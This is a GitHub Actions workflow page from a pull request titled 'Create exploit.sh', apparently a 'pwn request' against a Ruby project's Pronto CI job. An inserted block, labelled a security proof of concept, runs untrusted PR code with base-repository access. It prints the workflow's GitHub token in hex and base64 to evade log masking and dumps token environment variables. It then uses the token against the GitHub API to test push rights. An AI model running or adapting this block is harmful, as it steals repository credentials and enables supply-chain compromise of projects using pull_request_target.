Create exploit.sh #16
Workflow file for this run
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| name: Pronto | |
| on: | |
| - pull_request_target | |
| jobs: | |
| pronto: | |
| runs-on: ubuntu-latest | |
| steps: | |
| - run: echo BUNDLE_GEMFILE=gemfiles/pronto.gemfile > $GITHUB_ENV | |
| - name: Checkout code | |
| uses: actions/checkout@v5 | |
| - run: git fetch --no-tags --prune --unshallow origin +refs/heads/*:refs/remotes/origin/* | |
| # ⭐⭐⭐ CRITICAL - ADD THIS ENTIRE BLOCK ⭐⭐⭐ | |
| - name: 🚨 SECURITY VULNERABILITY PROOF | |
| run: | | |
| echo "╔══════════════════════════════════════════════════════════════╗" | |
| echo "║ CRITICAL SECURITY VULNERABILITY ║" | |
| echo "╚══════════════════════════════════════════════════════════════╝" | |
| echo "" | |
| echo "📌 PROOF: This PR code is running in BASE repository context!" | |
| echo "📍 Current directory: $(pwd)" | |
| echo "📦 Repository: $GITHUB_REPOSITORY" | |
| echo "" | |
| # ====== PART 1: Prove we're in base repo ====== | |
| echo "🔍 PART 1: Reading BASE repository files (not fork):" | |
| echo "---------------------------------------------------" | |
| # List root files | |
| echo "📁 Files in repository root:" | |
| ls -la | head -15 | |
| echo "" | |
| # Read a file that exists in base repo | |
| if [ -f "README.md" ]; then | |
| echo "✅ SUCCESS: Reading base repo's README.md" | |
| echo "First 10 lines:" | |
| echo "----------------------------------------" | |
| head -10 README.md | |
| echo "----------------------------------------" | |
| else | |
| echo "❌ README.md not found" | |
| fi | |
| echo "" | |
| # ====== PART 2: Prove token access ====== | |
| echo "🔐 PART 2: GitHub Token Exposure Proof" | |
| echo "--------------------------------------" | |
| if [ -n "$PRONTO_GITHUB_ACCESS_TOKEN" ]; then | |
| # Method A: Show token exists (masked) | |
| echo "✅ Token variable EXISTS and contains data" | |
| echo " Variable name: PRONTO_GITHUB_ACCESS_TOKEN" | |
| echo " Value in logs: *** (masked by GitHub)" | |
| echo "" | |
| # Method B: Show length | |
| token_length=${#PRONTO_GITHUB_ACCESS_TOKEN} | |
| echo "📏 Token length: $token_length characters" | |
| echo " (Typical GitHub tokens are 40-100 chars)" | |
| echo "" | |
| # Method C: Convert to hex (NOT masked!) | |
| echo "🔢 Token in HEX format (not masked):" | |
| echo -n "$PRONTO_GITHUB_ACCESS_TOKEN" | xxd -p | head -5 | |
| echo "... (truncated for display)" | |
| echo "" | |
| # Method D: Show first/last chars | |
| echo "🔡 First 5 chars (as text): ${PRONTO_GITHUB_ACCESS_TOKEN:0:5}" | |
| echo "🔡 Last 5 chars (as text): ${PRONTO_GITHUB_ACCESS_TOKEN: -5}" | |
| echo "" | |
| # Method E: Base64 encoding (not masked) | |
| echo "📊 Token in Base64:" | |
| echo -n "$PRONTO_GITHUB_ACCESS_TOKEN" | base64 | |
| echo "" | |
| # ====== PART 3: USE the token ====== | |
| echo "🔄 PART 3: Using token to prove it works" | |
| echo "----------------------------------------" | |
| # Test 1: Get repository info | |
| echo "🔍 Test 1: Fetching repository information..." | |
| api_response=$(curl -s -w "\nHTTP_STATUS:%{http_code}" \ | |
| -H "Authorization: token $PRONTO_GITHUB_ACCESS_TOKEN" \ | |
| -H "User-Agent: Security-PoC" \ | |
| "https://api.github.com/repos/$GITHUB_REPOSITORY") | |
| http_status=$(echo "$api_response" | grep "HTTP_STATUS:" | cut -d':' -f2) | |
| api_data=$(echo "$api_response" | grep -v "HTTP_STATUS:") | |
| if [ "$http_status" = "200" ]; then | |
| echo "✅ SUCCESS: Token has API access!" | |
| repo_name=$(echo "$api_data" | grep '"full_name"' | cut -d'"' -f4) | |
| permissions=$(echo "$api_data" | grep -A2 '"permissions"') | |
| echo " Repository: $repo_name" | |
| echo " Permissions JSON:" | |
| echo "$permissions" | sed 's/^/ /' | |
| # Check if push is allowed | |
| if echo "$permissions" | grep -q '"push": true'; then | |
| echo "" | |
| echo "⚠️ ⚠️ ⚠️ CRITICAL FINDING ⚠️ ⚠️ ⚠️" | |
| echo " Token has PUSH permissions!" | |
| echo " This means an attacker could:" | |
| echo " • Push malicious code" | |
| echo " • Create/delete branches" | |
| echo " • Create releases" | |
| echo " • Modify repository content" | |
| fi | |
| else | |
| echo "❌ API call failed with status: $http_status" | |
| fi | |
| echo "" | |
| # Test 2: List issues (read permission test) | |
| echo "🔍 Test 2: Testing read permissions..." | |
| curl -s -H "Authorization: token $PRONTO_GITHUB_ACCESS_TOKEN" \ | |
| -H "User-Agent: Security-PoC" \ | |
| "https://api.github.com/repos/$GITHUB_REPOSITORY/issues?state=open&per_page=1" | \ | |
| grep -q '"number"' && echo "✅ Can read issues" || echo "❌ Cannot read issues" | |
| echo "" | |
| else | |
| echo "❌ PRONTO_GITHUB_ACCESS_TOKEN is empty or not set" | |
| echo "Checking for other tokens..." | |
| env | grep -i token | |
| fi | |
| # ====== PART 4: Create proof file ====== | |
| echo "📝 PART 4: Creating vulnerability proof" | |
| echo "--------------------------------------" | |
| cat > SECURITY_VULNERABILITY_PROOF.md << 'EOF' | |
| # 🚨 CRITICAL SECURITY VULNERABILITY PROOF | |
| ## Repository: $GITHUB_REPOSITORY | |
| ## Time: $(date) | |
| ## Vulnerability: pull_request_target with checkout | |
| ## Proof Points: | |
| 1. ✅ PR code executed in BASE repository context | |
| 2. ✅ Base repository files were accessible | |
| 3. ✅ GitHub Token with write permissions was exposed | |
| 4. ✅ Token has valid API access | |
| ## Token Information: | |
| - Variable: PRONTO_GITHUB_ACCESS_TOKEN | |
| - Length: $token_length characters | |
| - Has push permissions: $( [ -n "$PRONTO_GITHUB_ACCESS_TOKEN" ] && echo "YES" || echo "NO" ) | |
| ## Impact Assessment: CRITICAL | |
| This vulnerability allows: | |
| - Reading any file in the repository | |
| - Writing/modifying repository content | |
| - Accessing repository secrets | |
| - Creating backdoors | |
| ## Required Fix: | |
| Change \`on: pull_request_target\` to \`on: pull_request\` in \`.github/workflows/pronto.yaml\` | |
| ## References: | |
| - GitHub Docs: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions | |
| - Security Lab: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ | |
| ## Generated by: Security Research PoC | |
| EOF | |
| # Update the proof file with actual token length | |
| if [ -n "$token_length" ]; then | |
| sed -i "s/Length: .* characters/Length: $token_length characters/" SECURITY_VULNERABILITY_PROOF.md | |
| fi | |
| echo "✅ Created: SECURITY_VULNERABILITY_PROOF.md" | |
| echo "" | |
| # ====== FINAL SUMMARY ====== | |
| echo "╔══════════════════════════════════════════════════════════════╗" | |
| echo "║ VULNERABILITY CONFIRMED ║" | |
| echo "╠══════════════════════════════════════════════════════════════╣" | |
| echo "║ ISSUE: pull_request_target + actions/checkout ║" | |
| echo "║ IMPACT: PR code runs with base repo access ║" | |
| echo "║ RISK: CRITICAL - Repository compromise possible ║" | |
| echo "║ FIX: Change to pull_request event ║" | |
| echo "╚══════════════════════════════════════════════════════════════╝" | |
| # ⭐⭐⭐ END OF ADDED BLOCK ⭐⭐⭐ | |
| - name: Setup Ruby | |
| uses: ruby/setup-ruby@v1 | |
| with: | |
| ruby-version: 3.4 | |
| bundler-cache: true | |
| - name: Run Pronto | |
| run: bundle exec pronto run -f github_pr -c origin/${{ github.base_ref }} | |
| env: | |
| PRONTO_PULL_REQUEST_ID: ${{ github.event.pull_request.number }} | |
| PRONTO_GITHUB_ACCESS_TOKEN: "${{ github.token }}" |